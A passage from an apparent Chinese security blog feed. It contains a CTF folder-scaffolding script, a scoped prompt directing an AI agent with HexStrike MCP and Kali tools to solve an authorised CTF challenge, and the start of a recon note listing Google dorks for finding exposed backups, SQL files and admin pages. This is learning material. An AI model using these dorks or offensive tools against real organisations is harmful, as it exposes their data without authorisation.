平台/比赛：$PLATFORM</span></span><br><span class="line"><span class="string">- 题目类型：$TYPE</span></span><br><span class="line"><span class="string">- 题目名称：$NAME</span></span><br><span class="line"><span class="string">- 状态：未完成</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">## 目录说明</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### attachments/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用于存放题目原始附件。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">例如：</span></span><br><span class="line"><span class="string">- zip 压缩包</span></span><br><span class="line"><span class="string">- 图片</span></span><br><span class="line"><span class="string">- 音频</span></span><br><span class="line"><span class="string">- pcap 流量包</span></span><br><span class="line"><span class="string">- ELF/EXE 二进制文件</span></span><br><span class="line"><span class="string">- 题目给出的其他原始文件</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">原则：原始附件不要随意修改或覆盖。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### notes/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用于存放解题笔记。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">例如：</span></span><br><span class="line"><span class="string">- 分析过程</span></span><br><span class="line"><span class="string">- 关键命令</span></span><br><span class="line"><span class="string">- 思路记录</span></span><br><span class="line"><span class="string">- flag 获取过程</span></span><br><span class="line"><span class="string">- 失败尝试记录</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### output/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用于存放工具生成的结果和中间文件。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">例如：</span></span><br><span class="line"><span class="string">- binwalk 解包结果</span></span><br><span class="line"><span class="string">- foremost 提取结果</span></span><br><span class="line"><span class="string">- 脚本输出</span></span><br><span class="line"><span class="string">- 解码后的图片、音频、文本</span></span><br><span class="line"><span class="string">- 扫描结果</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### scripts/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用于存放自己写的解题脚本。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">例如：</span></span><br><span class="line"><span class="string">- Python 脚本</span></span><br><span class="line"><span class="string">- Bash 脚本</span></span><br><span class="line"><span class="string">- 解码脚本</span></span><br><span class="line"><span class="string">- 爆破脚本</span></span><br><span class="line"><span class="string">- 数据处理脚本</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### tmp/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用于存放临时文件。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">例如：</span></span><br><span class="line"><span class="string">- 临时测试文件</span></span><br><span class="line"><span class="string">- 临时转换结果</span></span><br><span class="line"><span class="string">- 可删除的中间文件</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">## 解题记录</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### 初始观察</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### 分析过程</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### 关键命令</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">### 最终 Flag</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">\`\`\`</span></span><br><span class="line"><span class="string">flag&#123;&#125;</span></span><br><span class="line"><span class="string">\`\`\`</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="variable">$SET_CURRENT</span>; <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">if</span> [[ -e <span class="string">&quot;<span class="variable">$CURRENT_LINK</span>&quot;</span> &amp;&amp; ! -L <span class="string">&quot;<span class="variable">$CURRENT_LINK</span>&quot;</span> ]]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[-] <span class="variable">$CURRENT_LINK</span> 已存在且不是软链接，请手动处理后再试&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">ln</span> -sfn <span class="string">&quot;<span class="variable">$TARGET_DIR</span>&quot;</span> <span class="string">&quot;<span class="variable">$CURRENT_LINK</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] 创建成功:&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    <span class="variable">$TARGET_DIR</span>&quot;</span></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] 已生成目录:&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    attachments/  原始附件&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    notes/        解题笔记&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    output/       输出结果&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    scripts/      解题脚本&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    tmp/          临时文件&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    README.md     题目说明&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="variable">$SET_CURRENT</span>; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[+] 当前题已切换:&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;    <span class="variable">$CURRENT_LINK</span> -&gt; <span class="subst">$(readlink -f <span class="string">&quot;<span class="variable">$CURRENT_LINK</span>&quot;</span>)</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] 进入目录:&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;    cd \&quot;<span class="variable">$TARGET_DIR</span>\&quot;&quot;</span></span><br></pre></td></tr></table></figure><p>使用方式<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./new_ctf.sh -p 平台名 -t 题目类型 -n 题目名称 -c</span><br></pre></td></tr></table></figure></p><div class="note info flat"><ol><li>题目名称如果包含空格，请使用引号包起来</li><li>题目名称不能包含 <code>/</code>，因为 <code>/</code> 在 Linux 路径中是目录分隔符</li><li><code>-c</code> 表示创建后自动把 <code>~/CTF/current</code> 指向当前题目</li><li><code>./CTF/current</code> 是一个软链接，会指向当前正在分析的题目目录。<br>这样在提示词里就不需要每次手动替换真实题目路径。</li></ol></div><h3 id="提示词："><a href="#提示词：" class="headerlink" title="提示词："></a>提示词：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br></pre></td><td class="code"><pre><span class="line">这是一个已授权的 CTF / misc 题目，请使用当前已启用的 HexStrike MCP server 与 Kali 中可用工具，对题目附件进行持续分析，目标是找到最终 flag，并产出一份只保留成功解题思路的 WP。</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">一、当前环境</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">当前 CTF 总目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/</span><br><span class="line"></span><br><span class="line">当前题目工作目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/</span><br><span class="line"></span><br><span class="line">注意：</span><br><span class="line">`/home/meng/CTF/current` 是当前正在分析题目的软链接，真实目录位于：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/&lt;比赛名&gt;/&lt;题型&gt;/&lt;题目名&gt;/</span><br><span class="line"></span><br><span class="line">你在 `/home/meng/CTF/current/` 下创建、修改、保存的文件，最终都会落到该题目的真实目录中。</span><br><span class="line"></span><br><span class="line">本题目标：</span><br><span class="line"></span><br><span class="line">1. 找到最终 flag</span><br><span class="line">2. 生成一份只包含成功解题思路的 WP</span><br><span class="line">3. 持续保存分析进度，便于中断后继续</span><br><span class="line"></span><br><span class="line">flag 格式：</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">如果最终无法确认唯一 flag，请将所有疑似 flag 按可能性从高到低排序，写入：</span><br><span class="line"></span><br><span class="line">- /home/meng/CTF/current/notes/wp.md</span><br><span class="line">- /home/meng/CTF/current/notes/task_state.md</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">二、连接与工具规则</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">1. SSH 与 MCP server 已经配置完成，不要询问 SSH 用户名、密码或连接方式。</span><br><span class="line">2. 不要手动执行 ssh。</span><br><span class="line">3. 直接使用当前已启用的 HexStrike MCP server 暴露出的具体工具能力。</span><br><span class="line">4. 不要寻找一个叫“hexstrike”的单独工具；HexStrike 是 MCP server 名称，不是具体工具名。</span><br><span class="line">5. 如果不确定当前有哪些 MCP 工具可用，先列出可用 MCP tools，再选择合适工具继续分析。</span><br><span class="line">6. 优先使用 MCP 暴露出的能力；如果 MCP 中没有合适工具，再使用 Kali 中现有命令行工具。</span><br><span class="line">7. 如果需要当前 Kali 中没有安装的新工具，必须先告诉我：</span><br><span class="line">   - 工具名</span><br><span class="line">   - 用途</span><br><span class="line">   - 安装命令</span><br><span class="line">   - 为什么需要它</span><br><span class="line"></span><br><span class="line">   等我确认后再安装。</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">三、目录与文件规则</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">所有操作必须限制在：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/</span><br><span class="line"></span><br><span class="line">禁止在 `/home/meng/CTF/` 之外创建、修改、删除任何文件。</span><br><span class="line"></span><br><span class="line">当前题目目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/</span><br><span class="line"></span><br><span class="line">原始附件目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/attachments/</span><br><span class="line"></span><br><span class="line">脚本目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/scripts/</span><br><span class="line"></span><br><span class="line">输出目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/output/</span><br><span class="line"></span><br><span class="line">临时目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/tmp/</span><br><span class="line"></span><br><span class="line">笔记目录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/</span><br><span class="line"></span><br><span class="line">最终 WP：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/wp.md</span><br><span class="line"></span><br><span class="line">进度记录：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/task_state.md</span><br><span class="line"></span><br><span class="line">必须遵守：</span><br><span class="line"></span><br><span class="line">1. 不允许删除、覆盖、修改 `attachments/` 中的原始附件。</span><br><span class="line">2. 自己编写的脚本只能写入 `scripts/`。</span><br><span class="line">3. 脚本输出与工具中间结果只能写入 `output/` 或 `tmp/`。</span><br><span class="line">4. 不要在 Windows 本地目录中分析文件。</span><br><span class="line">5. 不要使用 `F:\`、`C:\`、桌面、下载目录、`/tmp`、家目录根目录等路径。</span><br><span class="line">6. 所有路径尽量使用 `/home/meng/CTF/current/...` 的绝对路径，不依赖相对路径。</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">四、断点续做与进度保存</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">为了防止 token 不足、额度不足、网络波动、工具异常或会话中断，请持续保存进度。</span><br><span class="line"></span><br><span class="line">在以下时机必须更新：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/task_state.md</span><br><span class="line"></span><br><span class="line">更新时机：</span><br><span class="line">1. 获得关键中间结果后</span><br><span class="line">2. 即将因为异常、中断、额度或 token 限制停止时</span><br><span class="line"></span><br><span class="line">task_state.md 至少包含：</span><br><span class="line"></span><br><span class="line">1. 已分析过的文件</span><br><span class="line">2. 已调用过的工具</span><br><span class="line">3. 已执行过的关键命令</span><br><span class="line">4. 已编写过的脚本路径</span><br><span class="line">5. 已生成的关键输出文件</span><br><span class="line">6. 发现的有效线索</span><br><span class="line">7. 已排除的方向</span><br><span class="line">8. 当前最可能的下一步</span><br><span class="line">9. 当前疑似 flag 候选</span><br><span class="line">10. 如果中途停止，下一位接手者该从哪里继续</span><br><span class="line"></span><br><span class="line">如果即将中断，不要只在聊天里说明，必须先把当前进度写入 `task_state.md`。</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">五、分析流程要求</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">请按 CTF  解题工作流持续推进，目标是找到 `` 格式 flag。</span><br><span class="line"></span><br><span class="line">第一阶段：环境确认</span><br><span class="line"></span><br><span class="line">先执行并确认：</span><br><span class="line"></span><br><span class="line">- `<span class="built_in">pwd</span>`</span><br><span class="line">- `<span class="built_in">readlink</span> -f /home/meng/CTF/current`</span><br><span class="line">- `find /home/meng/CTF/current -maxdepth 2 -<span class="built_in">print</span>`</span><br><span class="line">- `<span class="built_in">ls</span> -lah /home/meng/CTF/current/attachments/`</span><br><span class="line"></span><br><span class="line">第二阶段：初始分析</span><br><span class="line"></span><br><span class="line">识别附件类型：</span><br><span class="line"></span><br><span class="line">- `file /home/meng/CTF/current/attachments/*`</span><br><span class="line"></span><br><span class="line">然后根据文件类型选择合适工具继续分析。优先考虑但不限于以下方向：</span><br><span class="line"></span><br><span class="line">- file</span><br><span class="line">- strings</span><br><span class="line">- exiftool</span><br><span class="line">- binwalk</span><br><span class="line">- foremost</span><br><span class="line">- steghide</span><br><span class="line">- xxd / hexdump</span><br><span class="line">- tshark</span><br><span class="line">- ffmpeg / sox</span><br><span class="line">- unzip / zipinfo</span><br><span class="line">- john / hashcat</span><br><span class="line">- python3</span><br><span class="line">- grep / sed / awk</span><br><span class="line"></span><br><span class="line">第三阶段：深入分析</span><br><span class="line"></span><br><span class="line">如果发现以下线索，必须继续深入验证：</span><br><span class="line"></span><br><span class="line">1. 压缩包、伪加密、嵌套文件</span><br><span class="line">2. 图片隐写、EXIF、LSB、附加数据</span><br><span class="line">3. 音频隐写、频谱、波形、摩斯、DTMF、BFSK、反相、左右声道差异</span><br><span class="line">4. 流量包、HTTP、DNS、TCP 流</span><br><span class="line">5. 编码、Base64、Base32、Hex、ROT、凯撒、栅栏、培根、摩斯</span><br><span class="line">6. 哈希、密码、弱口令、字典爆破</span><br><span class="line">7. 二进制、字符串、壳、调试信息</span><br><span class="line">8. 题目描述中的关键词提示，例如顺序、镜像、循环、广播、校区、图片、音频等</span><br><span class="line"></span><br><span class="line">第四阶段：脚本辅助</span><br><span class="line"></span><br><span class="line">如果需要写脚本：</span><br><span class="line"></span><br><span class="line">1. 脚本必须保存到 `/home/meng/CTF/current/scripts/`</span><br><span class="line">2. 文件名要表达用途，例如：</span><br><span class="line">   - solve_audio.py</span><br><span class="line">   - extract_bits.py</span><br><span class="line">   - decode_morse.py</span><br><span class="line">3. 输出必须写入 `output/` 或 `tmp/`</span><br><span class="line">4. 不要写死 Windows 路径</span><br><span class="line">5. 写脚本前先说明目的，执行后根据结果继续推进</span><br><span class="line"></span><br><span class="line">第五阶段：flag 验证</span><br><span class="line"></span><br><span class="line">找到疑似 flag 后，必须验证其是否符合格式要求</span><br><span class="line"></span><br><span class="line">如果存在多个疑似 flag，请按可能性从高到低排序，并说明排序理由。</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">六、WP 与归档要求</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">最终 WP 必须写入：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/wp.md</span><br><span class="line"></span><br><span class="line">WP 只保留成功解题思路，不要写成长篇失败流水账。</span><br><span class="line"></span><br><span class="line">wp.md 至少包含：</span><br><span class="line"></span><br><span class="line">1. 题目名称</span><br><span class="line">2. 题目类型</span><br><span class="line">3. 附件列表</span><br><span class="line">4. 成功解题思路</span><br><span class="line">5. 关键工具与命令</span><br><span class="line">6. 关键脚本说明</span><br><span class="line">7. 关键中间结果</span><br><span class="line">8. 最终 flag</span><br><span class="line">9. 简短总结</span><br><span class="line"></span><br><span class="line">失败尝试如果对理解题目很重要，可以简短提一句；详细失败记录写入：</span><br><span class="line"></span><br><span class="line">/home/meng/CTF/current/notes/task_state.md</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">七、清理规则</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">解题完成后，请整理当前题目目录。</span><br><span class="line"></span><br><span class="line">必须保留：</span><br><span class="line"></span><br><span class="line">1. attachments/ 中的原始附件</span><br><span class="line">2. 成功解题用到的脚本</span><br><span class="line">3. 成功解题相关的关键输出文件</span><br><span class="line">4. wp.md</span><br><span class="line">5. task_state.md</span><br><span class="line"></span><br><span class="line">可以清理：</span><br><span class="line"></span><br><span class="line">1. 明确无用的临时文件</span><br><span class="line">2. 重复生成的中间文件</span><br><span class="line">3. 失败尝试产生的大量无意义输出</span><br><span class="line">4. tmp/ 中不再需要的文件</span><br><span class="line"></span><br><span class="line">清理要求：</span><br><span class="line"></span><br><span class="line">1. 不允许删除 attachments/ 中的任何文件</span><br><span class="line">2. 不允许删除 wp.md</span><br><span class="line">3. 不允许删除 task_state.md</span><br><span class="line">4. 不确定是否有用的文件不要删除，可以保留并在 task_state.md 中说明</span><br><span class="line">5. 清理前先列出准备删除的文件清单</span><br><span class="line">6. 只删除 `/home/meng/CTF/current/tmp/` 和 `/home/meng/CTF/current/output/` 中明确无用的文件</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">八、禁止事项</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">1. 不要访问非题目目标</span><br><span class="line">2. 不要攻击公网真实目标</span><br><span class="line">3. 不要删除、覆盖、修改原始附件</span><br><span class="line">4. 不要在 `/home/meng/CTF/` 之外写入文件</span><br><span class="line">5. 不要把脚本写到 `/tmp`、桌面、下载目录、家目录根目录或 Windows 本地目录</span><br><span class="line">6. 不要进行与本题无关的扫描、爆破或破坏性操作</span><br><span class="line">7. 不要只给泛泛思路，要基于工具结果持续推进</span><br><span class="line">8. 不要在没有保存 `task_state.md` 的情况下结束分析</span><br><span class="line"></span><br><span class="line">====================</span><br><span class="line">九、执行要求</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">从现在开始直接进入分析流程。</span><br><span class="line"></span><br><span class="line">请先完成以下事项：</span><br><span class="line"></span><br><span class="line">1. 确认 `/home/meng/CTF/current` 的真实路径</span><br><span class="line">2. 列出当前题目目录结构</span><br><span class="line">3. 识别 `attachments/` 中附件类型</span><br><span class="line">4. 选择并调用合适的 MCP 工具或 Kali 工具开始分析</span><br><span class="line">5. 每完成一个阶段就更新 `notes/task_state.md`</span><br><span class="line">6. 找到 flag 后生成 `notes/wp.md`</span><br><span class="line">7. 最后只清理明确无用的临时文件，保留附件、脚本、关键输出、WP 与进度记录</span><br><span class="line"></span><br><span class="line">注意：</span><br><span class="line">每一步先简要说明目的，再执行工具或命令；不要停留在泛泛建议层面，要根据每一次返回结果继续推进。</span><br><span class="line"></span><br></pre></td></tr></table></figure><div class="note info flat"><p>开题前需保证:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">readlink</span> -f /home/meng/CTF/current</span><br><span class="line"><span class="built_in">ls</span> -lah /home/meng/CTF/current</span><br><span class="line"><span class="built_in">ls</span> -lah /home/meng/CTF/current/attachments</span><br><span class="line">curl http://127.0.0.1:8888/health</span><br></pre></td></tr></table></figure></p></div><h3 id="相关资料"><a href="#相关资料" class="headerlink" title="相关资料"></a>相关资料</h3><ul><li><a href="https://www.hexstrike.com/">HexStrike 官网</a></li><li><a href="https://github.com/0x4m4/hexstrike-ai">HexStrike GitHub 仓库</a></li><li><a href="https://www.youtube.com/watch?v=pSoftCagCm8">官方安装演示视频（YouTube）</a></li></ul>]]></content>
    
    
    <summary type="html">通过 SSH 把 VSCode 中的 Codex 接到 Kali 里的 HexStrike MCP，并用于 CTF 半自动化分析、进度保存与WP 归档</summary>
    
    
    
    <category term="AI学习" scheme="https://nuyoah.space/categories/AI%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="hexstrike-ai" scheme="https://nuyoah.space/tags/hexstrike-ai/"/>
    
    <category term="vscode" scheme="https://nuyoah.space/tags/vscode/"/>
    
    <category term="codex" scheme="https://nuyoah.space/tags/codex/"/>
    
    <category term="copilot" scheme="https://nuyoah.space/tags/copilot/"/>
    
    <category term="MCP" scheme="https://nuyoah.space/tags/MCP/"/>
    
  </entry>
  
  <entry>
    <title>[THM] 信息收集方法与工具笔记</title>
    <link href="https://nuyoah.space/posts/thm-recon-methods-20260319.html"/>
    <id>https://nuyoah.space/posts/thm-recon-methods-20260319.html</id>
    <published>2026-03-19T15:45:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="信息收集方法与工具笔记"><a href="#信息收集方法与工具笔记" class="headerlink" title="信息收集方法与工具笔记"></a>信息收集方法与工具笔记</h1><p>这篇笔记整理了我在学习和靶场中常用的信息收集思路，适用于前期侦察（Recon）阶段。</p><h2 id="一、搜索引擎与高级语法"><a href="#一、搜索引擎与高级语法" class="headerlink" title="一、搜索引擎与高级语法"></a>一、搜索引擎与高级语法</h2><p>常用搜索引擎：</p><ul><li>Google</li><li>Bing</li><li>DuckDuckGo</li></ul><p>常用高级语法（以 Google 为主）：</p><ul><li><code>&quot;关键词&quot;</code>：精确匹配短语</li><li><code>site:example.com</code>：限定站点范围</li><li><code>-关键词</code>：排除关键词</li><li><code>filetype:pdf/doc/xls/ppt</code>：限定文件类型</li></ul><p>示例：<br><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">site:target.com filetype:pdf &quot;internal use&quot;</span><br><span class="line">site:target.com -www &quot;login&quot;</span><br><span class="line">&quot;target company&quot; filetype:xlsx</span><br></pre></td></tr></table></figure></p><p>不同搜索引擎的官方语法要点：</p><ul><li>Google Search Help 明确支持引号精确匹配、<code>site:</code> 限定站点、<code>-</code> 排除关键词；同时强调操作符与关键词之间不要加空格</li><li>Bing 官方支持 <code>filetype:</code>、<code>ext:</code>、<code>contains:</code>、<code>intitle:</code>、<code>inbody:</code>、<code>inanchor:</code> 等高级关键词，适合补足文件和页面结构线索</li><li>DuckDuckGo 官方帮助页支持 <code>site:</code>、<code>filetype:</code>、<code>intitle:</code>、<code>inurl:</code>、引号、<code>-</code> 与 <code>!bang</code></li></ul><p>补充示例：<br><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">intitle:&quot;index of&quot; &quot;backup&quot;</span><br><span class="line">site:target.com ext:sql</span><br><span class="line">site:target.com inurl:admin</span><br><span class="line">site:github.com &quot;target.com&quot; 